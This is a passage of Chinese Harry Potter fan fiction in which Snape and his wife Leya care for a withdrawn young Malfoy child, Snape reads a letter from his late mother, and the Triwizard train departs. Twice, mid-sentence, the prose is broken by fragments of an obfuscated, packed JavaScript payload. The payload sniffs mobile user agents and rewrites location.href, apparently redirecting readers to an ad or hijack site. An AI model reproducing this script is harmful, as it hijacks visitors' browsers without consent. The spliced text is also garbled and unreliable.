“斯内普校长,没想到会在这里见到您。”蕾雅偷偷望过去,认出来其中一位身穿鲜绿色锦袍的老巫师,是魔法部某位退居二位的官员,“这个秀气的小男孩是?” “怀特霍尔先生,没想到会在这里见到您,”斯内普轻描淡写地开口,脸色像是一潭无波澜的深水,“看来您对马尔福家族的事务比魔法部的预算更感兴趣。” “原来是马尔福家的孩子!我说这金发这么眼熟呢。” 街上的议论声更多了,蕾雅也自觉离他更远,却仍从窃窃私语中听见不少也关于她的议论。 “不好意思,我赶时间,先失陪。”斯内普冷硬地应对来人。他没再搭理任何的招呼,加快脚步,径直拐进最近的丽痕书店。 厚重华丽的木门在他们身后慢慢合拢,隔绝外界吵闹的喧嚣,也挡住过分强烈的光线。书店满是书香油墨的味道,堆满的书架高耸到天花板,还有不少未来得及整理的新书小山似的堆在一角。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14987234|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 几个在挑选新学期课本的霍格沃茨学生一见到入店的来人,纷纷僵住动作、把头埋得更紧。有三两个更是如同见到洪水猛兽那样,吓得快速结账,匆忙离开店铺。 蕾雅轻笑着摇头,伸手去接奥瑞尔:“换我来带他吧?都来这里了,你不会想看看有没有新书吗?” 斯内普没有为她的贴心感到意外,稍稍放松手臂,好让蕾雅能抱走奥瑞尔:“谢谢。” 两个人都没想到,奥瑞尔在这个时候忽然挣扎了一下,垂下脸朝向地面,下一刻,又迟缓地看了看她和斯内普。 “嗯?你想自己下来走吗?”蕾雅读懂了小马尔福先生的意思。 “那就试试吧。”斯内普将他安全地放在地上,蕾雅牵起他的小手,蹲下身微笑着说:“让我跟着你,好吗,奥瑞尔?” 奥瑞尔鼓着嘴,眼中闪烁着忐忑又掩饰不住的好奇。他小心翼翼环视一圈书店,踌躇许久,轻揪了揪蕾雅的食指,迈着有些摇晃的步子牵引她,走向书店深处。 “去吧,不用担心我们。”蕾雅回过头,对身后的男巫抛下一句话,随即陪着奥瑞尔一直存放儿童魔法书籍的角落。 奥瑞尔仰起头,稚气的脸上铺满认真,被最顶上那排神奇动物和魔法植物的书籍吸引住。 “你想要看看这些吗?”蕾雅伸手,缓慢地指向几本书脊,“这本?还是这本?” 她的指尖滑到一册《妖精果园探险记》时,奥瑞尔轻微点了点头,她取了下来。 考虑到这本书对奥瑞尔来说可能有点重,她没有直接递给这位小先生,而是蹲坐下来,温柔地问道:“这本书有点重,跟我坐在地上看好吗?”她说着,拍了拍身边的位置,满怀关切地看男孩。 奥瑞尔倒是很乖巧温驯地坐在她的旁边。蕾雅一手环抱男孩,闻到小孩子身上特有的香味,难以自抑地笑起来,在男孩眼底摊开绘本。随即,一只活泼可爱的小妖精跃然纸上,开始为奥瑞尔讲述发生在一座隐匿在魔法森林中果园的故事,它告诉男孩,那里种了许多会吹泡泡的草莓、夜里荧光的苹果…… 没翻过几页,奥瑞尔自己掀着书页读了下去,遇到不认识的生词,就会用小手抵在上面,蕾雅便轻声为他解释。 书店另一头,斯内普手持几本挑好的新书,静静朝他们的位置望去,眼中敛散出不少的温色。刚整理好库存的店主从梯子爬下,抱着几本新书踱到他身边,以细微的声音试探一句:“斯内普校长,许久不见。恕我冒昧,那一定是您的夫人吧?之前街上是有些传言,我本是不信的,要不是今日亲眼所见……” 男人没有转头,依然站在那里,隔着半个店铺凝视沉浸在绘本世界的二人。他的嘴角轻微扯动,压下些许不耐:“是,请暂时保守这个秘密。” 店主一愣,很快以微笑掩盖住为此感到的吃惊,颔首道:“一定,我可不想失去您这位老顾客。” 不久,斯内普买下了两本绘本和他的“战利品”。离开书店,奥瑞尔的情绪明显高涨不少,至少不会死死揪着斯内普了。他恢复了一个孩子对新鲜事物应有的反应,立即被处于核心地带的韦斯莱魔法把戏坊那极具威慑力的“人形”大门,和鲜橙色的外墙牢牢吸引住,大大的天蓝眼眸倒映出满橱窗里五颜六色的魔法烟雾。 察觉到斯内普眉宇间写满的不愿和撇下的嘴角,蕾雅立即忍笑提议道:“要不,你在外面等我们?” “不用。”他低叹一口气,认命地伸出左手,推开眼前夸张到令他背脊恶寒的店门——这是他第一次踏入这间店铺,衷心希望也是人生中唯一一次。 位于对角巷93号的韦斯莱魔法把戏坊,自战后就成为对角巷的象征之一,无论什么时间都人潮涌动,充满此起彼伏的欢笑与闹哄哄的哗然。进店后,斯内普沉下面容,小心护着奥瑞尔的小脑袋,不行他被空中乱飞的羽毛笔、纸牌、或者情书飞机打到,还得特意避开泛起迷情剂浓烟的柜台。 相比之下,蕾雅倒是显得兴致勃勃,游走在新商品间的眼神跟奥瑞尔如出一辙。但她很快就注意到来帮忙招待的金妮,以及怀抱一个装满逃课跳跳糖的罗恩。 就在这时,忙着招揽顾客的乔治和弗雷德也同时看见斯内普一家。他们的脸上先是做出一个见鬼般的惊愕表情。 乔治第一个找回自己,扶着快脱臼的下巴,迅速从柜台一跃过来,惊叹道:“梅林在上——蕾雅和斯内普教授?”随后赶到的弗雷德满眼戏谑,友好地摸了摸奥瑞尔的小脑袋,丝毫没有为斯内普眼中警告所怯懦的意思:“真是稀客呢!是带着未来的恶作剧高手来挑选工具吗?” 金妮和罗恩趁着这会儿,挤到蕾雅的身后,晃了晃她的手臂,在她耳边悄悄打探:“你别跟我说……这是你的孩子?我怎么——” “哦我的梅林。金妮,用你的脑袋好好想想,怎么可能嘛?”蕾雅翻了个白眼,哭笑不得地打断她,“这是马尔福家的孩子。” “什么?斯内普在替马尔福带孩子?——那这是,德拉科·马尔福的弟弟?我们怎么不知道——难道是,私生——”罗恩的大脑显然已然运作不过来,一股脑脱口不少令人惊奇瞪目的语句。 可下一秒,他的火红脑袋就遭到一记狠厉的敲击:“OUCH!”罗恩吃痛地揉着头,手中的逃课糖差点撒落一地,幸好蕾雅眼疾手快替他稳住箱子。 “闭嘴,韦斯莱们。”斯内普的语气带着明显的不满和警示,“看来,霍格沃茨的教育仍未让你们学会不要揣测他人家事的基本礼仪,不是吗?” 罗恩不再说话,委屈巴巴地转向好友,但蕾雅只和金妮捧腹笑得灿烂,并无替他解围的意思。 他们最终给奥瑞尔挑选了一个会根据情绪变化的魔法球。在等待斯内普结账的片刻,弗雷德悄悄塞给奥瑞尔一个迷你烟火棒,郑重承诺它不会太吓人。 最后一站是蜂蜜工具糖果店,斯内普一脸无奈地给小马尔福买下一小包柠檬雪宝。 拎着几袋东西准备返回时,奥瑞尔的神态彻底放松下来,恢复天真神采的眼睛与蕾雅初见他判若两人。这也正好说明,他的自我封闭,并不是那本童话书的原因。 97.母亲 回到二人家中,太阳已渐渐往西斜落,晕开的蔷薇色晚霞释放出暖融明艳,连天边的层云都被烧得壮阔如火的红。然而,美丽的事物总是稍纵即逝,没过多久,它们便迅速褪去光彩,无声消沉进夜幕的深处。 雷格纳遵循蕾雅离开前的吩咐,招待着卢修斯一家三口等在那里。 壁炉青绿火焰熄掉的瞬间,所有殷切的目光就都落到钻出的黑发男巫身上——尤其是德拉科,那张年轻的面庞明显有一时的错愕,几乎无法相信自己的眼睛。 因为眼前的奥瑞尔·马尔福,正拽着一向冷漠的斯内普校长长袍前襟,仿佛找到个可以依靠的安心港湾,而斯内普并没有为此而露出一丁点不愉快。 “这是……”纳西莎抬手捂住嘴,努力保持一贯的典雅从容。 握紧蛇头杖的卢修斯,面色则苍白得如他因衰老失去光润的白金发,“西弗勒斯?”他微颤的嗓音透着无法掩饰的难以置信。 斯内普暂时没有理会他们,只是淡淡侧过头,看向自己的妻子。 蕾雅朝他颔首,伸手抱过重新变得胆怯的奥瑞尔,转身离开客厅:“外出回来要先去洗手哦。” 目送他们的身影慢慢走远,斯内普这才不紧不慢脱下长袍,送去玄关,随后接住雷格纳给他递来的馥郁红茶,在唯一空余的单人沙发坐下。 迎着马尔福一家困惑不已的面容,他低沉的话音却冷得如同浸过霜水的枯枝:“先说结论,正如雷格纳、蕾雅、还有我的检测所指示的,那只是本普通的童话书,奥瑞尔的反常与之没有关系。” “那到底是因为……”卢修斯眉心拧紧,交叠起双腿,指关节按得泛白。 “他在害怕你,卢修斯。”斯内普没有保留地说。一双冷淡的黑眸悄无声息地扫过雷格纳若有所思的脸庞,继续补充道:“也害怕马尔福庄园的一切。这就是他不对你们任何人产生反应的原因。下午在这里和对角巷的时候,他表现得很自然,甚至流露出少有的好奇,直到见到你们。你没有察觉吗?” 卢修斯为这番话沉默片刻,纳西莎颦蹙着眉,将手覆在丈夫的手上,脸色担忧地踌躇一阵,试探地开口:“卢克,也许是因为他的父亲。” “他的父亲?”卢修斯飞快看纳西莎一眼,脸上的皱痕变得更加深刻,意识到什么般,嘴唇也被拉扯成一道直线。 “奥瑞尔的母亲去世后,庄园的一切都变了。他的父亲害怕失去之前的地位,拼命投入工作,几乎耗尽全部的时间与精力。你还记得吗,卢克?”纳西莎慢慢地说,眼底铺满心疼,“估计也是这样,拖到最近他才告诉我们奥瑞尔的事。”她顿了顿,似是在衡量该不该接着说,但最终仍旧叹息道:“那么也许,小奥瑞尔是觉得,你也要把他的父亲夺走……” 这些话语在空气中盘旋、沉淀,无形的凝重如高涌的水波淹没房间,令人再无法透过气。斯内普面无表情地看卢修斯和纳西莎分析完奥瑞尔的状况,没打算插话,只顾着慢条斯理地喝茶。 良久,雷格纳率先打破沉默:“既然孩子已经失去母亲,确实是要格外关心的。按理来说,首先要做的是让他感到安全。” “我同意莱恩哈特先生的说法。”纳西莎应和道,“也许,先让奥瑞尔的父亲暂停工作,带他出去旅游一阵吧,卢克?” “……嗯。”卢修斯轻敲手杖两下。 “还有,”斯内普撂下茶杯,从今天购买的物品中抽出两本儿童画册,递给卢修斯,“这孩子似乎对魔法植物格外留意,甚至对魔药也可能有些兴趣。这几天趁着开学前助教的休假,德拉科,你可以试试带他。” “这样吗?那我会试试。”德拉科干脆地答应,“谢谢指示。” “不用。”斯内普冷冰冰地应声,没有再继续这个话题。 卢修斯清过嗓子,语气诚恳:“无论如何,这次很感谢你的帮助,西弗勒斯。你的判断,依旧是那么……精准。” “也许说得有些晚了,”纳西莎缓缓扫视这间客厅,也露出一抹温和的笑,“你的新居很温馨,西弗勒斯。”她尽量让话语听上去是真诚的赞叹,而不是跟之前的蜘蛛尾巷作对比,毕竟她很清楚,斯内普根本不愿意再与原来的事纠缠。 “也感谢你之前为我们准备的礼物,纳西莎。”斯内普平静地回应,“它们很有用,尤其是她前段时间去美国出差时。” “那只是微不足道的心意。”纳西莎笑着摆手。 德拉科忍不住扯动嘴角,趁着父母与斯内普寒暄的时刻,目光悄悄瞥到壁炉上摆着的照片。那里每一张都是斯内普和蕾雅的合照,这让他内心忍不住开始揣测——校长这张寒冰冷傲的面容下,到底都还隐藏多少他们未曾见过的模样? …… 在雷格纳的坚持下,马尔福一家带着奥瑞尔在莱恩哈特家用过一顿晚餐。餐桌上他们也没有再谈论正事、没有谈论霍格沃茨,而是围绕更轻松的话题:比如说德拉科的婚事、斯内普家和莱恩哈特家的装潢摆设、以及今后对小奥瑞尔的教育。 离别的时刻悄然到来,卢修斯罕有地亲自提着下午斯内普买给奥瑞尔的物件,奥瑞尔则依偎在德拉科的臂弯里,天空般的蓝眼睛湿漉漉的,不舍而又带有迷茫。 “我们会去看你的。”蕾雅走近一些,俯身亲吻他柔软的面颊,指尖宠溺地拨顺他额前一撮柔亮的软发,“答应我,好好的成长起来,好吗?” 小男孩的睫毛微微抖动,眼眶泛着浅红。他用几乎察觉不出的幅度动了动手指,随即埋入德拉科的衣物里,不再有任何反应。 蕾雅轻笑着拍拍男孩的后背,最后抬起同样潮湿的眼眸,跟一脸复杂的德拉科告别:“下次见,德拉科。” 房间重新变为仅属于他们的空间,蕾雅叹一口气转身,准备去收拾用过的茶具,却发现斯内普已经挥动魔杖,让它们整齐搁置在洗碗池中了。 不过一阵,换上居家服的斯内普端着两杯加了柠檬片的杜松子酒回到客厅,拉她坐在沙发上,享受久违的二人时光:“你自己呢,感觉怎么样?会不会还觉得疲惫?”他的酒杯与她的轻碰,接着说道:“学校的事今天总算告一段落了,所以明天我也会留在家里,再做一次魔药。” “谢谢,但我感觉今天的就够了呀。”蕾雅饮下一口冰酒,细细品尝辛冽酒液滑下喉咙后带来的果香余味。她的食指轻轻沿着杯沿旋转,眉眼漾开一个慵懒的笑容,“说起来,你是怎么发现是跟奥瑞尔的母亲有关呢?” 斯内普似是在故作神秘地你向她,没有立刻回答,而是从茶几上的那叠新书里抽出一本,交到蕾雅手上,顺便拿走她的酒杯。 她翻开书页,发现这正是马尔福一家带来的那本童话书,只不过是斯内普购入的。 “第六页。”他对她说。 没有迟疑,蕾雅很快翻到应对的书页。一幅色彩丰富的画面铺开在眼前,是一只跃动的小狐狸,正晃着尾巴钻进一片葱郁的草丛。漫山的葱郁之上,是无穷无尽的星宿,一弯渐渐往西的钩月悬挂在夜色里。 她仔细阅读一会儿,游移的眼神捕捉到最底下的一行小字。 “小狐狸的妈妈对他说:要是妈妈不在了,月亮就是妈妈,是你永远的守护者。”她下意识念出声。 她的话音刚落,斯内普再度说:“第十八页。” 哗啦啦的翻书声过后,蕾雅看到这只小狐狸孤零零坐在森林的边缘,抬头仰望着月亮,之前活泼的大尾巴一动不动地低垂。 “第三十四页。” 小狐狸经历漫长的旅途,终于练就了强大的魔法,即将踏上击败大魔王的征途。而临行前的夜晚,它蜷缩在洞穴深处,似乎是陷入低落的情绪。但是即便如此,它毛茸茸的耳朵依然执着朝向远方那弯弯的新月—— “妈妈,我会成功的。”这句话被刻在洞穴最深的暗处。 妈妈。 蕾雅心脏一颤,蓦地合上书。她的指腹迟疑地摩挲着羊皮书封,低垂的视线怔怔地定在黑得一尘不染的封面,片刻,又小心翼翼地移向手边的男人。 他沉浸在杜松子酒和新买的书里,并没有做出明显的表情。 只是。她明白,理所当然地明白。 这些书页不过是只言片语,若不是斯内普的心细——若不是曾在孤独与黑暗中同样有过对母亲的剧烈思念,根本不会察觉得到。 不知道……他是否从奥瑞尔的身上看到了往昔的自我? 心底最柔软的地方像是被什么轻轻勾了下,她慌忙别过脸,缓缓放下手中的书。 “怎么了?”斯内普倏地低头看她。 “……没什么,在想奥瑞尔真的太可爱了,有点不舍得。”她从茶几上拿起酒,送到嘴边。 “你要是觉得不放心,我们可以时不时去看看他。我想,卢修斯和纳西莎现在会比我更欢迎你。”斯内普低笑一声,搁下杯子,单手环过她的腰。 “不是不放心,就是觉得他太可爱了。”她顺势靠在他宽厚的肩上,没想到会闻到奥瑞尔残留在他身上的软糯香味,声音也跟着越发轻软,几近耳语:“还有你,西弗勒斯。你怎么能每次都洞悉一切呢……无论是哪一方面,都做得那么好,我到底要多努力才能追上你?”? 斯内普按下手中的书,少有地放慢语速,耐心劝导她:“别着急,蕾雅,也别勉强自己。以你的天赋,等你到我这个年纪了,未必会逊色多少。” “我怎么不觉得自己有你说的那么厉害?”她轻轻叹息,抬起手背摩擦着眼底,低低地说:“不过,要是……” “要是?”他问。 蕾雅低下头,像是在组织语言,又像是在竭力稳住心中不安宁的悸动。她的胸脯因深呼吸起伏一下,语调夹杂些许犹豫:“……要是我的孩子也能像奥瑞尔那么可爱,还能有你的天赋就好了,西弗勒斯。” 斯内普的身形猛地震住,差点被她的话呛到。听见她半是清脆的笑声,才明白过来,这家伙根本就是在捉弄他。 于是,他顿时沉下脸色,再也没有留情地冷冷开口:“这位夫人,你是否有些贪心?”他稍微停住一刻,眯起眼睛,句子被危险地拖长:“而且,如果我的推测正确,你的孩子应该唤我为父亲吧?” 蕾雅却笑得愈发愉悦,直到眼角都漫起绯红,才喘着气断断续续地说:“好嘛好嘛……很大概率是这样?” “你跟我说概率?”斯内普狠狠瞪她一眼,手臂收得更紧,无情地将她牢牢按在胸前,语气冷冽地质问:“那么,请告诉我,另外那部分小概率是什么?” 怀里人轻快地耸了耸肩,凝满爱意的绿眸稍稍转动,忽然开门见山地逼问到:“……所以,西弗勒斯,你真的有想过吗?” 男人再次不可自抑地一颤,手臂的力道随之稍微松开几分。 阵阵沁凉的夜风正自微开的白色窗户透入,撩拨着同样白得纯净的窗纱。他的视线越过那沉浮飘荡的织物,越过窗沿微寐的猫头鹰蒙布朗,眺望至对侧屋脊线外的远方。 天际漫开雾蒙的蓝黑,仅有零星几颗晨星孤悬在那里,冷色的白光昭示着遥不可及的距离。余下大片的黢黑之上,是他心间无意识翻起的,下午她在书店带着奥瑞尔看书的模样。 毫无疑问,她会是一个很好的母亲。 只是…… “啊对了。”蕾雅的惊呼突然打断斯内普的思绪,“把一件事忘了。”她边嘟哝着边爬起身,小跑到餐桌旁,从花瓶底下取出早上的那封信。 “今天早上,有一封你的信。”蕾雅把那个空白到虚无的信封递给他,“没有署名,也没有封口。” 斯内普收起书,接过信封,仅仅看了一瞬,整个人便如同被扔到寒天雪地里那样失去所有温度,刚才浸满情绪的黑眸也都像小狐狸童话故事里的浅淡月色般,渐渐褪去了锋芒。 “西弗勒斯?”蕾雅坐回他身边,温柔地摩挲他微凉的手背,而后手指轻扣住他的指缝,疑惑而关切地问道:“怎么了?谁的信?” “没事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14989802|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他僵硬地回握住她,把她揽到怀里,试图示意她不要担心,“只是我……母亲的信。” 妈妈。 西弗勒斯的母亲。 这两个字沉沉敲在蕾雅的心室,她吞咽一下,旋即慌乱地在脑海搜索着该在这种情景道出的话语。半晌后,柔声呢喃道:“这样啊……如果你想一个人待会儿,我正好要去楼上洗澡。” 可男人的手依旧拢得很紧,他用很小的声音对她说:“洗澡不急。” 妻子仿佛是看穿他的意思。她点头,倾身吻过男人的鼻尖,给了他一个和暖的拥抱,之后再也没有说话,只安静地倚靠他,陪伴他拆开这封信。 信纸古旧泛黄,承载于上的暗淡墨水是显而易见的廉价,字迹亦凌乱潦草,仿佛是写信人匆匆。 他并不意外,自他升入高年级鲜少回家后,艾琳的病每况愈下,清醒的时间寥寥无几,所以做任何事都是仓促急躁。只是,他不明白,被托比亚那样管控,连魔杖都被折断的艾琳,是怎么能寄出这样一封信的? 他展平了信—— “西弗勒斯: 见到这封信时,你还好吗? 我希望,你比我记忆中的你,要变得更幸福了。 如果你能读到这封信,说明它终于找到你了。我想,你一定到达了人生新的阶段。 虽然这个时候,我定不在你身边了。但我希望,你已有一个能陪伴你读这封信的人,或是找到一条值得终生坚守的道路。如果真是这样,我在这里由衷地祝贺你,并希望你此后一切安好。 然后,请接收我迟来的道歉。 西弗勒斯,我知道我或许没有资格成为一个母亲。我没有给你应有的温暖,我的心承载着许多遗憾,我的生活总是充满阴影,而那些阴影最终也吞噬了你。 现在每回想起来,我都会后悔,都会心痛,都会想如果我能多做些什么,哪怕一点点,或许你会少受一点苦。 有些时候,特别你独自坐在屋角、沉默不语的夜晚。我并不是看不见,也不是不明白你的感受。我只是沉浸在自己的悲伤,选择欺骗自己——告诉自己,男孩的成长本就这样,相信你终有一天会变得足够强大,就不再需要依靠任何人。可我错了。我错得离谱。 所以,请原谅,原谅我,在你最需要关心和照顾的年纪,我甚至连一个能驱散寒冷的拥抱都没有给你。 可是,西弗勒斯,我希望你知道——虽然可能已经有点晚了,你一直是我生命中的光。 即使我们的生活充满了黑暗,即使当全世界都与我们为敌。是你,让我在最痛苦的日子里,还有一丝短暂的希望。 是你,让我没有做出最坏的选择。 我还记得,我们在烛光下读过的每一本书。记得你踮着脚练习魔药,当时你还那么小,连常规尺寸的坩埚都搬不稳,却能一字不差背出最复杂的魔药配方。 我真心感谢梅林,我竟然能有一个这么聪明的孩子。 还有你的魔咒,我还记得,那个在厨房缠着我,要一遍遍学变形术的你。 也记得送你去霍格沃茨的那一天。 也记得,我曾经向你许诺,如果你考到全O的成绩,我就教你福灵剂的制作方法。 更记得,当你满脸骄傲地回来向我展示成绩单的时候,我却只能一遍遍地对你说抱歉,我们买不起材料,我们甚至连下一顿温饱也难以保证。 可你没有怨言,只是沉默地点了点头。 后来,你很快就长大了,快得让我甚至没来得及回头看看,你就已经渐渐远离我,不再回家了。 我当然明白,这里什么也不能给予你。即使你知道,这里并非一直这样,曾经我们也有过不少快乐的日子,只是,为柴米油盐发愁的生活,轻易能摧毁所有。 所以,我每日仍在祈祷,梅林不要再待我的男孩太差。因为我知道,他有一颗比谁都要柔软的心,所以必须比其他人更加努力、更加坚强、用更多的力气去将它保护起来,不让它受伤。 我又想到你五岁那年,咬着牙说“妈妈,我以后会成为一个出色的男子汉保护你”的样子。 我知道,你一定做到了。你一定能撑过所有的难关,即使命运已给你苦难的前半生。 信写到这里已经太长了,虽然我还有许多话想要对你说,想跨越时间的长河告诉你。但我知道,当你读到这封信的时候,必定能明白我的心情。 西弗勒斯,如果你愿意,请原谅我的自私。 原谅我擅自将你带来这个世界,让你承受这一切。我一点也不怪你疏远了我,只希望……你此刻身边有人能真正珍惜你,不是因为你的天赋与魔力,而是看见了你灵魂的韧度。 最后,答应我—— 无论做下的选择是对是错,无论生活给予你的是甘是苦……都不要让世界磨损你的灵魂。 不要急躁,不要迷失。最强大的魔药,往往需要时间去酝酿。 而你,西弗勒斯,你曾是我唯一的光。 只是,我发现得太晚了。 以一位母亲的心所能承载的所有爱, 艾琳” 随着信件从信封滑落的,还有一样东西。 一张麻瓜式的黑白照片,相纸的一角已磨得发白,大概是被无数次拿起翻阅留下的痕迹。 照片中,男孩正皱着眉低头,专注地握着坩埚里的搅拌棍。他满脸灰尘,黑发乱蓬蓬垂落在耳边,皱巴巴的衣服也很不合身。但即便如此,仍难掩他眉宇间的一股倔强与傲气。 那是他灵魂的韧度。 斯内普垂眼注视着这张照片,很长很长的一段时间后,才能把它和信叠回去。他敛起信封,低哑地回答了她很久之前的问题:“蕾雅,刚才的那个问题,我的回答是……我从前没有想过,但是我更希望,他不要像我。” “不,他会像你……西弗勒斯,他会很幸运,有你这样的父亲。” 酒意上了头,她埋在他的怀中,泣不成声。 98.列车 三强争霸赛,其历史可追溯回大约七百年前,是欧洲最大的三所魔法学校之间象征友谊的赛事,但由于死亡的参赛学生数量过多,不得不一度中断。直到1995年,它重新被纳入魔法部的例行议程。尽管,那一年的三强争霸赛因为伏地魔的复活,再次导致一名霍格沃茨学生的丧生。 那是蕾雅四年级的事。那个时候,一向不对任何体育赛事抱有兴趣的她当然没怎么关注。所以,她从来没有想过,五年后的今天,自己会以这样方式去参加一次三强争霸赛。 她下意识看了眼别在胸襟内侧的崭新傲罗徽章,不大的银色金属块背面刻有她的名字,以便在某些事故发生后快速能辨认身份。是的,准备考核和通过考核以后的日子都过得极快,一眨眼,就于无数个为了三强争霸赛而开展会议间悄悄流失,再不复返。 滑入十月,苏格兰高地已然一副萧瑟又寒凉的模样,是一年中最难熬的时节。 这天雾气沉重,就连霍格沃茨特快喷出的白蒸汽也迅速化进灰蒙的天色。粘稠的细雨飘散,冰冷沁骨的水汽轻易浸湿长站台上每个人的衣袍。不少送行的学生在红彤彤的列车旁簇拥成团取暖,麦格教授和斯普劳特教授不断忙着给学生们丢去一个个的温暖咒。 这辆前往布斯巴顿的霍格沃茨特快是被改造过的。除车头、前两节和最后一节车厢仍是原先的模样,其余的车厢都被施加无痕伸展咒,由纳威和德拉科带着几位级长改装成功能齐全的学生寝室。在法国期间,学生们都会住在这架列车上,包括随行的傲罗和教职工们。 而现在伫立在唯一敞开的车厢门前的,是她的丈夫,亦是这所魔法学校的校长,西弗勒斯·斯内普。他正和隆巴顿助教、斯威克主任一起,逐一检查每一个登上车厢的学生,确保他们不会是复方药剂或者混淆咒所伪装的。 蕾雅、哈利和几个傲罗则忙碌在车尾的行李车厢,协助费尔奇排查每件被海格送来的行李,避免有什么混进去的黑魔法或者违禁品。刚目见她手边的最后一件行李被哈利的漂浮咒送入车厢,蕾雅就看见费尔奇从另一端踱了过来。 “怎么样,波特?你们有没有发现什么?”他停在车厢前,朝内里小山似的行李堆挥动手中的探测器。 “都没问题,费尔奇先生。”哈利朝满头花白的看门人挤出个礼貌的笑容。 “好吧,那赶紧关门,校长说别耽误了时间。”费尔奇干巴巴地说。 费尔奇的话音刚落,满脸热忱的海格上前合拢车厢门,同时轻咳一声,对哈利露出一个宽厚的笑,用他那粗犷的嗓音说:“哈利,我就在法国等你了。” “只是我不会坐霍格沃茨特快去了,我真羡慕你们,就连贾斯廷都能提前去。”哈利毫不掩饰地耸肩,扯了个遗憾又无奈的表情,他转过头,正好对上蕾雅面上浅淡的歉意,“好啦,我只是说说。正好,这几天我还得跟赫敏好好安慰罗恩,毕竟他快被唐克斯折磨疯了。” 蕾雅松一口气,用手肘戳了戳哈利的胳膊,轻轻说道:“那就拜托你了。我看出来他真的很受打击,就不说唐克斯给他的加倍魔鬼训练。”她的脑海中不自觉翻出这几天罗恩到了下班,还瘫在桌前毫无生气的样子。 这次的考核,除了在斯威克主任的安排下有十全十把握的哈利和蕾雅,其他人的情况是有些出人意料。先不提基础比较薄弱的埃琳娜,他们是没料到罗恩因为潜行和幻影移形的不熟练而没能通过,更意外的是贾斯廷·芬里列那天手感奇好,顺利地通过了。 “好咯,到点了。”海格拧紧车门锁,挥着他的大手拍了拍哈利的肩膀,“来,哈利,我得带你看看我的‘特别车厢’,那儿有霍格沃茨为这次比赛准备的秘密,保证让你大吃一惊!” “那到时候见,蕾雅。”哈利与蕾雅告别,跟着海格去往拖在列车最尾端的特制隐形车厢。它比其他的车厢都要大一圈,装载这次霍格沃茨准备的“题目”。 蕾雅回过身,再一次确认过车尾的一切,便和其他要出发的傲罗们返回列车前部。邓布利多、教授们和斯内普都在那里,长高不少的科林·克里维正穿行在人群之中,忙着给即将出发的霍格沃茨勇士们拍下一张张魔法照片。 “要团结,也要记得我们霍格沃茨的仪态。”麦格教授逐一握住从车窗伸出来的几双手,不舍的目光流连于每一位探身的学生,一遍遍叮嘱道:“也要好好照顾自己。” “我知道你们都渴望为霍格沃茨赢得这次的奖杯。”邓布利多的左手半举着拂过胡子,以一贯慈祥的神色望向这些远行的孩子们:“但是要记住,任何荣誉都不比生命重要。孩子们,要平安归来。” “还有,霍格沃茨是一个大家庭,无论是谁被选为了霍格沃茨的勇士,你们都要相互扶持。”弗立维教授激动地补充道,斯普劳特教授则点着头赞同,“是啊,到那边要互相照顾,如果遇到什么困难,都别犹豫,要向斯内普校长或者隆巴顿助教报告,明白吗?” 走得气喘吁吁的斯拉格霍恩教授似乎现在才缓过气,他抚了抚起伏的胸口,圆圆的脑袋左右摆动,“去吧,去吧,孩子们。别忘了带点精彩的故事回来告诉我们。” 身处分别之际的学生们都很是动容,纷纷红着眼答应。 蕾雅和待命的傲罗们靠墙而站,目见这一幕,不由地染上几分柔和。她忽而觉得,霍格沃茨似乎比之前更为温暖了。这么想着望过去,她才发现,四种颜色的校服不再像以前那样泾渭分明,甚至有零星绿色融在蓝色与黄色之间。 她稍稍偏过头,对站在那里一语不发的德拉科搭腔:“我想起来了,这都是你的努力,德拉科。” “什么努力?你在说什么?”德拉科皱起眉毛,那张苍白的脸写满不明所以。但他很快不再在意这件事,而是递给她一个一直攥在手里的纸袋,“这是母亲和阿斯托利亚今天早上送来的……听说到法国要六到七个小时。” 蕾雅一愣,顺从地接过来,偷偷瞄向里侧,发现是一盒亲手烘焙的精致糕点,还有不少奶酪和果干。“是想给西弗勒斯的吧?马尔福夫人和阿斯托利亚一起做的吗?”她反应过来,德拉科大概知道斯内普不太会容易接受额外的人情,所以才会交给她。 “也是给你的。”德拉科别扭地转开脸,压低声与她分享一些近况:“嗯,阿斯托利亚现在不时会住在马尔福庄园了。……大概,明年夏天,我们……” “这是个好消息。”蕾雅忍不住勾起一抹笑意,没等他说完,适时打断了红着脸吞吞吐吐的年轻助教,“恭喜你,德拉科。等我们回来,西弗勒斯一定会去的。” “傲罗们,差不多是时候了。”汉密尔顿的话音传来,在这个时候向他们下达指令,“莫尔、贾斯廷,你随隆巴顿助教到车尾包厢。埃文斯、弗洛拉,你们去中段车厢。蕾雅,你和我一组。按照计划,每小时巡逻检测一次,每两小时集中汇报情况。” “明白。”得到命令的傲罗们不敢怠慢,各自前往被分配的位置。 蕾雅飞快别过德拉科,拿起行李和工作包跟在汉密尔顿后侧,走向斯内普所在的车门处。 “我会尽量配合您的安排。”这位黑发校长抱着双臂,微微颔首,正与斯威克主任结束交谈。 麦格教授安顿着学生们回到包厢内坐好,才放下心,定定地望着斯内普:“在外一切小心,西弗勒斯。一定要把他们全员带回来。” “你知道我会的。”斯内普沉稳地回望她,无论是神情还是声音都不带一丝波澜,仿佛是一句郑重的承诺。随即,他拎起之前放在地上的黑色行李箱,向邓布利多投去一个简短的眼色,凛冽的视线顺带扫过老人身旁的几位教授,“那么,霍格沃茨就交给你们了。” 